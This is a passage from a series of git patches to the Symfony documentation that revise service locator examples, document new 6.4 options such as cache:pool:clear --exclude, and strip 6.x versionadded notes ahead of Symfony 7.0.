 Another way to define a service locator is to use the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
@@ -317,8 +318,11 @@ attribute::
     class CommandBus
     {
         public function __construct(
-            #[AutowireLocator(FooHandler::class, BarHandler::class)]
-            private ContainerInterface $locator,
+            #[AutowireLocator([
+                FooHandler::class,
+                BarHandler::class,
+            ])]
+            private ContainerInterface $handlers,
         ) {
         }
 
@@ -326,8 +330,8 @@ attribute::
         {
             $commandClass = get_class($command);
 
-            if ($this->locator->has($commandClass)) {
-                $handler = $this->locator->get($commandClass);
+            if ($this->handlers->has($commandClass)) {
+                $handler = $this->handlers->get($commandClass);
 
                 return $handler->handle($command);
             }
@@ -335,8 +339,10 @@ attribute::
     }
 
 Just like with the ``getSubscribedServices()`` method, it is possible
-to define aliased services thanks to named arguments, as well as optional
-services::
+to define aliased services thanks to the array keys, as well as optional
+services, plus you can nest it with
+:class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService`
+attribute::
 
     // src/CommandBus.php
     namespace App;
@@ -345,23 +351,25 @@ services::
     use App\CommandHandler\BazHandler;
     use App\CommandHandler\FooHandler;
     use Psr\Container\ContainerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
     use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
 
     class CommandBus
     {
         public function __construct(
-            #[AutowireLocator(
-                fooHandlerAlias: FooHandler::class,
-                barHandlerAlias: BarHandler::class,
-                optionalBazHandlerAlias: '?'.BazHandler::class
-            )]
-            private ContainerInterface $locator,
+            #[AutowireLocator([
+                'foo' => FooHandler::class,
+                'bar' => new SubscribedService(type: 'string', attributes: new Autowire('%some.parameter%')),
+                'optionalBaz' => '?'.BazHandler::class,
+            ])]
+            private ContainerInterface $handlers,
         ) {
         }
 
         public function handle(Command $command): mixed
         {
-            $fooHandler = $this->locator->get('fooHandlerAlias');
+            $fooHandler = $this->handlers->get('foo');
 
             // ...
         }
@@ -373,6 +381,20 @@ services::
     :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
     attribute was introduced in Symfony 6.4.
 
+.. note::
+
+    To receive an iterable instead of a service locator, you can switch the
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
+    attribute to
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
+    attribute.
+
+    .. versionadded:: 6.4
+
+        The
+        :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
+        attribute was introduced in Symfony 6.4.
+
 .. _service-subscribers-locators_defining-service-locator:
 
 Defining a Service Locator

From bed77a4cafc2cb2a293c19b2533068106ebe74e6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 11 Oct 2023 08:41:06 +0200
Subject: [PATCH 5285/7107] Minor tweak

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index d38363a1fe0..cb72e5e2460 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -248,7 +248,7 @@ computers if some files are missing.
     such as ``@popperjs/core``. The ``download`` option will download both the main
     package *and* its dependencies.
 
-You can check for available updates for your third-party packages by running :
+You can check for available updates for your third-party packages by running:
 
 .. code-block:: terminal
 

From cc7ac50ebdd2e5590ae8dd618f5a774a26e3b580 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Fri, 21 Jul 2023 12:10:07 +0200
Subject: [PATCH 5286/7107] =?UTF-8?q?[Cache]=20Document=20`cache:pool:clea?=
 =?UTF-8?q?r`=E2=80=99s=20new=20`--exclude`=20option?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 cache.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/cache.rst b/cache.rst
index 24b3ebda973..3d1fc32a9cc 100644
--- a/cache.rst
+++ b/cache.rst
@@ -740,6 +740,16 @@ Clear all cache pools:
 
     The ``--all`` option was introduced in Symfony 6.3.
 
+Clear all cache pools except some:
+
+.. code-block:: terminal
+
+    $ php bin/console cache:pool:clear --all --exclude=my_cache_pool --exclude=another_cache_pool
+
+.. versionadded:: 6.4
+
+    The ``--exclude`` option was introduced in Symfony 6.4.
+
 Clear all caches everywhere:
 
 .. code-block:: terminal

From 2da09d563ddd0179c0f1e05b4cc3e40a27762106 Mon Sep 17 00:00:00 2001
From: alexandre-castelain <alexandre.castelain@fulgens.be>
Date: Wed, 11 Oct 2023 16:35:03 +0200
Subject: [PATCH 5287/7107] Forgot imports

---
 serializer/custom_normalizer.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index f3c099e6466..577d993e774 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -19,6 +19,8 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
 
     use App\Entity\Topic;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
+    use Symfony\Component\Serializer\Normalizer\NormalizerAwareInterface;
+    use Symfony\Component\Serializer\Normalizer\NormalizerAwareTrait;
     use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
 

From 478dbda1a233505cb52c261e7a30b408b305bd25 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?=
 <1880467+jschaedl@users.noreply.github.com>
Date: Thu, 12 Oct 2023 10:39:40 +0200
Subject: [PATCH 5288/7107] Add implements ProcessorInterface

---
 logging/processors.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 8d79e839243..d99a132b4af 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -20,10 +20,11 @@ using a processor::
     namespace App\Logger;
 
     use Monolog\LogRecord;
+    use Monolog\Processor\ProcessorInterface;
     use Symfony\Component\HttpFoundation\Exception\SessionNotFoundException;
     use Symfony\Component\HttpFoundation\RequestStack;
 
-    class SessionRequestProcessor
+    class SessionRequestProcessor implements ProcessorInterface
     {
         public function __construct(
             private RequestStack $requestStack

From 9f017cae6f771b95dd5389483f378a9c2e7efc76 Mon Sep 17 00:00:00 2001
From: Giuseppe Petraroli <94477373+gpetraroli@users.noreply.github.com>
Date: Thu, 12 Oct 2023 13:43:06 +0200
Subject: [PATCH 5289/7107] Update migration.rst

---
 migration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/migration.rst b/migration.rst
index 5be3ea51834..16fa43fa281 100644
--- a/migration.rst
+++ b/migration.rst
@@ -341,7 +341,7 @@ somewhat like this::
         }
 
 
-        public static function handleRequest(Request $request, Response $response, string $publicDirectory): ?string
+        public static function handleRequest(Request $request, Response $response, string $publicDirectory): void
         {
             $legacyScriptFilename = LegacyBridge::getLegacyScript($request);
 
@@ -461,7 +461,7 @@ which script to call and wrap the output in a response class::
         public function loadLegacyScript(string $requestPath, string $legacyScript): StreamedResponse
         {
             return new StreamedResponse(
-                function () use ($requestPath, $legacyScript): string {
+                function () use ($requestPath, $legacyScript): void {
                     $_SERVER['PHP_SELF'] = $requestPath;
                     $_SERVER['SCRIPT_NAME'] = $requestPath;
                     $_SERVER['SCRIPT_FILENAME'] = $legacyScript;

From 7ba88062ac76e976ac7a5053db8c7e402c64a3fe Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 13 Oct 2023 11:59:59 +0200
Subject: [PATCH 5290/7107] [Console] Dispatch `ConsoleTerminateEvent` when
 exiting on signal

---
 components/console/events.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/console/events.rst b/components/console/events.rst
index 598763bcb01..3897e69ad1a 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -152,6 +152,17 @@ Listeners receive a
     It is then dispatched just after the ``ConsoleEvents::ERROR`` event.
     The exit code received in this case is the exception code.
 
+    Additionally, the event is dispatched when the command is being exited on
+    a signal. You can learn more about signals in the
+    :ref:`the dedicated section <console-events_signal>`.
+
+    .. versionadded:: 6.4
+
+        The dispatching of the ``ConsoleEvents::TERMINATE`` event on exit
+        signal was introduced in Symfony 6.4.
+
+.. _console-events_signal:
+
 The ``ConsoleEvents::SIGNAL`` Event
 -----------------------------------
 

From 8171b8b50e42f9c8a1f5148eff28b23cec0b6de1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 13 Oct 2023 12:25:29 +0200
Subject: [PATCH 5291/7107] Update components/console/events.rst

---
 components/console/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 3897e69ad1a..07e892b4f6a 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -158,7 +158,7 @@ Listeners receive a
 
     .. versionadded:: 6.4
 
-        The dispatching of the ``ConsoleEvents::TERMINATE`` event on exit
+        Dispatching the ``ConsoleEvents::TERMINATE`` event on exit
         signal was introduced in Symfony 6.4.
 
 .. _console-events_signal:

From 38c91aca1beaaa38eb08de7cbcb99525c426d93b Mon Sep 17 00:00:00 2001
From: Jesper Noordsij <45041769+jnoordsij@users.noreply.github.com>
Date: Fri, 13 Oct 2023 22:29:17 +0200
Subject: [PATCH 5292/7107] Update target branch for feature updates to 6.4

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 5255613c000..9f12ed93da4 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -132,7 +132,7 @@ work:
   branch (you can find them on the `Symfony releases page`_). E.g. if you
   found a bug introduced in ``v5.1.10``, you need to work on ``5.4``.
 
-* ``6.3``, if you are adding a new feature.
+* ``6.4``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the

From 5a7bc8e194bc01804435eb171960be7021b9c062 Mon Sep 17 00:00:00 2001
From: Alexander Grimalovsky <alexander.grimalovsky@gmail.com>
Date: Fri, 13 Oct 2023 20:00:44 +0300
Subject: [PATCH 5293/7107] [Serializer] Update reference to attribute in the
 section title

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index d56dece2d21..3a7270c252b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -441,8 +441,8 @@ Ignoring Attributes
 All attributes are included by default when serializing objects. There are two
 options to ignore some of those attributes.
 
-Option 1: Using ``@Ignore`` Annotation
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Option 1: Using ``#[Ignore]`` Attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 .. configuration-block::
 

From 2b0cabbc96a12856cb021fc1c7de29e1899ec2b4 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 15 Oct 2023 18:17:13 +0200
Subject: [PATCH 5294/7107] [AssetMapper] Automatically preload CSS files if
 WebLink available

---
 frontend/asset_mapper.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index cb72e5e2460..5048c00c42e 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -677,6 +677,14 @@ same way::
     live in your ``importmap.php`` file, so their preload setting is handled
     explicitly in that file.
 
+For used CSS files, a "preload" tag will automatically be rendered onto your page
+when the :doc:`WebLink Component </web_link>` is available.
+
+.. versionadded:: 6.4
+
+    Automatic preloading of CSS files when WebLink is available was
+    introduced in Symfony 6.4.
+
 Frequently Asked Questions
 --------------------------
 

From ff291d0804fbecfa9e419b1c25fb36883cf7ab52 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Oct 2023 08:54:17 +0200
Subject: [PATCH 5295/7107] Tweaks

---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 5048c00c42e..8e655d69570 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -677,8 +677,8 @@ same way::
     live in your ``importmap.php`` file, so their preload setting is handled
     explicitly in that file.
 
-For used CSS files, a "preload" tag will automatically be rendered onto your page
-when the :doc:`WebLink Component </web_link>` is available.
+If the :doc:`WebLink Component </web_link>` is available in your application,
+Symfony will add a ``Link`` header in the response to preload the CSS files.
 
 .. versionadded:: 6.4
 

From 1c9dc6387b28799af56af95bf859d61eff161af7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Oct 2023 10:01:29 +0200
Subject: [PATCH 5296/7107] Fix the installation instructions of
 symfony/psr-http-message-bridge

---
 components/psr7.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/psr7.rst b/components/psr7.rst
index 04a3b9148b5..f6ad69b786b 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -10,7 +10,7 @@ Installation
 
 .. code-block:: terminal
 
-    $ composer require symfony/psr-http-message-bridge
+    $ composer require symfony/psr-http-message-bridge:^2.3
 
 .. include:: /components/require_autoload.rst.inc
 

From aaca21df263b8532a6670b81160a7e386ad03337 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Oct 2023 12:29:06 +0200
Subject: [PATCH 5297/7107] Fix the installation command

---
 components/psr7.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/psr7.rst b/components/psr7.rst
index f6ad69b786b..04a3b9148b5 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -10,7 +10,7 @@ Installation
 
 .. code-block:: terminal
 
-    $ composer require symfony/psr-http-message-bridge:^2.3
+    $ composer require symfony/psr-http-message-bridge
 
 .. include:: /components/require_autoload.rst.inc
 

From 3094be908f743bfc66aa7b4b61316f873d901430 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Oct 2023 12:48:57 +0200
Subject: [PATCH 5298/7107] Use DOCtor-RST 1.53

Leverage
* https://github.com/OskarStark/doctor-rst/pull/1542
---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index a7490527092..c3b8eac7b63 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.51.0
+                uses: docker://oskarstark/doctor-rst:1.53.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From dbe5395a6097ae0be673abb854d06fb3c254fb64 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Oct 2023 13:30:39 +0200
Subject: [PATCH 5299/7107] Rename README file

---
 README.markdown => README.md | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 rename README.markdown => README.md (100%)

diff --git a/README.markdown b/README.md
similarity index 100%
rename from README.markdown
rename to README.md

From c1c6596ba13dbad0d54bf470ec4022873a81796a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Oct 2023 13:44:48 +0200
Subject: [PATCH 5300/7107] Tweaks

---
 components/finder.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 9f8d5860f9c..500b8bb5e89 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -329,11 +329,17 @@ it is called with the file as a :class:`Symfony\\Component\\Finder\\SplFileInfo`
 instance. The file is excluded from the result set if the Closure returns
 ``false``.
 
+The ``filter()`` method includes a second optional argument to prune directories.
+If set to ``true``, this method completely skips the excluded directories instead
+of traversing the entire file/directory structure and excluding them later. When
+using a closure, return ``false`` for the directories which you want to prune.
+
+Pruning directories early can improve performance significantly depending on the
+file/directory hierarchy complexity and the number of excluded directories.
+
 .. versionadded:: 6.4
 
-Since Symfony 6.4, a filter can prune directories early, pass ``true`` as the second
-parameter for the ``filter()`` method and when the Closure returns ``false`` the deeper
-levels will not be traversed.
+    The feature to prune directories was introduced in Symfony 6.4.
 
 Sorting Results
 ---------------

From bbd1d8e092c672be67ea75f3f346cd126c5a9de4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 16 Oct 2023 10:47:57 +0200
Subject: [PATCH 5301/7107] Remove all 6.x `versionadded` on 7.0

---
 .doctor-rst.yaml                              |  8 +-
 bundles.rst                                   |  5 --
 bundles/configuration.rst                     |  4 -
 bundles/extension.rst                         |  4 -
 bundles/prepend_extension.rst                 |  4 -
 cache.rst                                     | 12 ---
 components/browser_kit.rst                    |  8 --
 components/cache/adapters/redis_adapter.rst   |  8 --
 components/clock.rst                          | 32 -------
 components/config/definition.rst              |  5 --
 components/console/events.rst                 | 15 ----
 .../console/helpers/formatterhelper.rst       |  4 -
 components/console/helpers/progressbar.rst    |  8 --
 components/console/helpers/table.rst          |  4 -
 components/css_selector.rst                   |  4 -
 .../dependency_injection/compilation.rst      |  4 -
 components/dom_crawler.rst                    | 14 ---
 components/expression_language.rst            |  4 -
 components/finder.rst                         |  5 --
 components/http_foundation.rst                | 34 +------
 components/http_kernel.rst                    | 11 ---
 components/intl.rst                           | 12 ---
 components/lock.rst                           |  9 --
 components/options_resolver.rst               |  4 -
 components/phpunit_bridge.rst                 | 16 ----
 components/process.rst                        |  4 -
 components/property_access.rst                |  9 --
 components/property_info.rst                  |  6 --
 components/serializer.rst                     | 26 ------
 components/string.rst                         |  8 --
 components/uid.rst                            | 20 -----
 components/validator/resources.rst            |  5 --
 components/var_dumper.rst                     |  4 -
 components/var_exporter.rst                   | 13 ---
 components/yaml.rst                           |  8 --
 configuration.rst                             | 20 -----
 configuration/env_var_processors.rst          | 12 ---
 configuration/micro_kernel_trait.rst          |  8 --
 console.rst                                   | 12 ---
 console/coloring.rst                          |  4 -
 console/input.rst                             |  6 --
 console/style.rst                             |  8 --
 contributing/documentation/format.rst         | 20 ++---
 controller.rst                                | 32 -------
 controller/value_resolver.rst                 | 42 ---------
 doctrine.rst                                  |  9 --
 form/unit_testing.rst                         |  5 --
 frontend/asset_mapper.rst                     | 21 -----
 html_sanitizer.rst                            |  4 -
 http_cache.rst                                |  4 -
 http_cache/esi.rst                            |  4 -
 http_client.rst                               | 46 ----------
 lock.rst                                      |  5 --
 mailer.rst                                    | 79 -----------------
 messenger.rst                                 | 88 -------------------
 notifier.rst                                  | 57 ------------
 performance.rst                               |  4 -
 profiler.rst                                  |  8 --
 rate_limiter.rst                              | 10 ---
 reference/configuration/debug.rst             |  4 -
 reference/configuration/framework.rst         | 48 ----------
 reference/configuration/kernel.rst            |  5 --
 reference/configuration/security.rst          | 16 ----
 reference/configuration/twig.rst              | 13 ---
 reference/constraints/Cascade.rst             |  4 -
 reference/constraints/Choice.rst              |  4 -
 reference/constraints/Email.rst               |  4 -
 reference/constraints/Expression.rst          | 12 ---
 reference/constraints/File.rst                | 16 ----
 reference/constraints/Length.rst              | 16 ----
 .../constraints/NoSuspiciousCharacters.rst    |  4 -
 reference/constraints/PasswordStrength.rst    |  4 -
 reference/constraints/Regex.rst               |  4 -
 reference/constraints/Time.rst                |  4 -
 reference/constraints/Type.rst                |  4 -
 reference/constraints/Unique.rst              |  4 -
 reference/constraints/UniqueEntity.rst        |  5 --
 reference/constraints/Uuid.rst                |  9 --
 reference/constraints/When.rst                |  8 --
 reference/dic_tags.rst                        |  7 --
 reference/formats/expression_language.rst     | 18 ----
 reference/formats/yaml.rst                    |  4 -
 reference/forms/types/collection.rst          |  4 -
 reference/forms/types/enum.rst                |  4 -
 reference/forms/types/number.rst              |  4 -
 .../forms/types/options/choice_label.rst.inc  |  6 --
 .../duplicate_preferred_choices.rst.inc       |  4 -
 reference/forms/types/options/help.rst.inc    |  5 --
 .../types/options/placeholder_attr.rst.inc    |  4 -
 .../forms/types/options/sanitize_html.rst.inc |  4 -
 .../forms/types/options/sanitizer.rst.inc     |  4 -
 reference/forms/types/password.rst            |  4 -
 reference/twig_reference.rst                  | 12 ---
 routing.rst                                   | 38 --------
 routing/custom_route_loader.rst               |  9 --
 security.rst                                  | 60 -------------
 security/access_control.rst                   |  8 --
 security/access_token.rst                     |  8 --
 security/expressions.rst                      |  4 -
 security/impersonating_user.rst               |  4 -
 security/login_link.rst                       |  4 -
 security/remember_me.rst                      |  4 -
 security/user_checkers.rst                    |  4 -
 security/voters.rst                           |  4 -
 serializer.rst                                | 26 ------
 serializer/custom_context_builders.rst        |  4 -
 service_container.rst                         | 14 ---
 service_container/alias_private.rst           |  4 -
 service_container/autowiring.rst              | 18 ----
 service_container/debug.rst                   |  6 +-
 service_container/expression_language.rst     |  8 --
 service_container/factories.rst               |  8 --
 service_container/lazy_services.rst           | 10 ---
 service_container/service_decoration.rst      |  4 -
 .../service_subscribers_locators.rst          | 20 -----
 service_container/tags.rst                    | 13 ---
 templates.rst                                 | 28 ------
 testing.rst                                   | 38 --------
 translation.rst                               | 29 ------
 validation.rst                                |  4 -
 validation/custom_constraint.rst              |  4 -
 workflow.rst                                  | 24 -----
 workflow/workflow-and-state-machine.rst       |  4 -
 123 files changed, 18 insertions(+), 1516 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index ee1713d3100..f309ce1d49d 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -68,16 +68,16 @@ rules:
 
     #   master
     versionadded_directive_major_version:
-        major_version: 6
+        major_version: 7
 
     versionadded_directive_min_version:
-        min_version: '6.0'
+        min_version: '7.0'
 
     deprecated_directive_major_version:
-        major_version: 6
+        major_version: 7
 
     deprecated_directive_min_version:
-        min_version: '6.0'
+        min_version: '7.0'
 
 exclude_rule_for_file:
     - path: configuration/multiple_kernels.rst
diff --git a/bundles.rst b/bundles.rst
index 19dd8c31aa8..50ffc39d156 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -56,11 +56,6 @@ Start by creating a new class called ``AcmeTestBundle``::
     {
     }
 
-.. versionadded:: 6.1
-
-    The :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` was
-    introduced in Symfony 6.1.
-
 .. caution::
 
     If your bundle must be compatible with previous Symfony versions you have to
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 4a2224429ed..a6a21023de6 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -320,10 +320,6 @@ In your extension, you can load this and dynamically set its arguments::
 Using the AbstractBundle Class
 ------------------------------
 
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
 As an alternative, instead of creating an extension and configuration class as
 shown in the previous section, you can also extend
 :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to add this
diff --git a/bundles/extension.rst b/bundles/extension.rst
index ff873f2ab14..3c660251403 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -111,10 +111,6 @@ To read more about it, see the ":doc:`/bundles/configuration`" article.
 Loading Services directly in your Bundle class
 ----------------------------------------------
 
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
 Alternatively, you can define and load services configuration directly in a
 bundle class instead of creating a specific ``Extension`` class. You can do
 this by extending from :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index fcad249124e..bed3d06da43 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -154,10 +154,6 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to
 Prepending Extension in the Bundle Class
 ----------------------------------------
 
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
 You can also append or prepend extension configuration directly in your
 Bundle class if you extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
 class and define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension`
diff --git a/cache.rst b/cache.rst
index 7bf72bf2608..3d247c4a1bb 100644
--- a/cache.rst
+++ b/cache.rst
@@ -745,20 +745,12 @@ Clear all cache pools:
 
     $ php bin/console cache:pool:clear --all
 
-.. versionadded:: 6.3
-
-    The ``--all`` option was introduced in Symfony 6.3.
-
 Clear all cache pools except some:
 
 .. code-block:: terminal
 
     $ php bin/console cache:pool:clear --all --exclude=my_cache_pool --exclude=another_cache_pool
 
-.. versionadded:: 6.4
-
-    The ``--exclude`` option was introduced in Symfony 6.4.
-
 Clear all caches everywhere:
 
 .. code-block:: terminal
@@ -767,10 +759,6 @@ Clear all caches everywhere:
 
 Clear cache by tag(s):
 
-.. versionadded:: 6.1
-
-    The ``cache:pool:invalidate-tags`` command was introduced in Symfony 6.1.
-
 .. code-block:: terminal
 
     # invalidate tag1 from all taggable pools
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index c744837d7b1..bcb8f7b3c8e 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -130,10 +130,6 @@ on a link::
     // ... and `clickLink()`
     $crawler = $client->clickLink('Go elsewhere...', ['X-Custom-Header' => 'Some data']);
 
-.. versionadded:: 6.4
-
-    The ``serverParameters`` parameter was introduced in Symfony 6.4.
-
 Submitting Forms
 ~~~~~~~~~~~~~~~~
 
@@ -403,10 +399,6 @@ to call ``json_decode()`` explicitly::
     $response = $browser->getResponse()->toArray();
     // $response is a PHP array of the decoded JSON contents
 
-.. versionadded:: 6.1
-
-    The ``toArray()`` method was introduced in Symfony 6.1.
-
 Learn more
 ----------
 
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 02523dd283e..a25b1a510ed 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -41,10 +41,6 @@ as the second and third parameters::
         $defaultLifetime = 0
     );
 
-.. versionadded:: 6.3
-
-    Support for `Relay`_ was introduced in Symfony 6.3.
-
 Configure the Connection
 ------------------------
 
@@ -163,10 +159,6 @@ array of ``key => value`` pairs representing option names and their respective v
 Available Options
 ~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    ``\Relay\Relay`` support was introduced in Symfony 6.3.
-
 ``class`` (type: ``string``, default: ``null``)
     Specifies the connection library to return, either ``\Redis``, ``\Relay\Relay`` or ``\Predis\Client``.
     If none is specified, fallback value is in following order, depending which one is available first:
diff --git a/components/clock.rst b/components/clock.rst
index f58124c70af..b803c78e29d 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -1,10 +1,6 @@
 The Clock Component
 ===================
 
-.. versionadded:: 6.2
-
-    The Clock component was introduced in Symfony 6.2
-
 The Clock component decouples applications from the system clock. This allows
 you to fix time to improve testability of time-sensitive logic.
 
@@ -79,16 +75,6 @@ When using the Clock component, you manipulate
 :class:`Symfony\\Component\\Clock\\DatePoint` instances. You can learn more
 about it in :ref:`the dedicated section <clock_date-point>`.
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\Clock\\Clock` class and ``now()`` function
-    were introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The ``modifier`` argument of the ``now()`` function was introduced in
-    Symfony 6.4.
-
 Available Clocks Implementations
 --------------------------------
 
@@ -208,10 +194,6 @@ you can set the current time arbitrarily without having to change your service c
 This will help you test every case of your method without the need of actually
 being in a month or another.
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\Clock\\ClockAwareTrait` was introduced in Symfony 6.3.
-
 .. _clock_date-point:
 
 The ``DatePoint`` Class
@@ -253,11 +235,6 @@ The constructor also allows setting a timezone or custom referenced date::
     error handling across versions of PHP, thanks to polyfilling `PHP 8.3's behavior`_
     on the topic.
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\Clock\\DatePoint` class was introduced
-    in Symfony 6.4.
-
 .. _clock_writing-tests:
 
 Writing Time-Sensitive Tests
@@ -314,10 +291,6 @@ By combining the :class:`Symfony\\Component\\Clock\\ClockAwareTrait` and
 :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`, you have full
 control on your time-sensitive code's behavior.
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait` was introduced in Symfony 6.3.
-
 Exceptions Management
 ---------------------
 
@@ -338,11 +311,6 @@ These exceptions are available starting from PHP 8.3. However, thanks to the
 `symfony/polyfill-php83`_ dependency required by the Clock component, you can
 use them even if your project doesn't use PHP 8.3 yet.
 
-.. versionadded:: 6.4
-
-    The support for ``DateMalformedStringException`` and
-    ``DateInvalidTimeZoneException`` was introduced in Symfony 6.4.
-
 .. _`PSR-20`: https://www.php-fig.org/psr/psr-20/
 .. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php
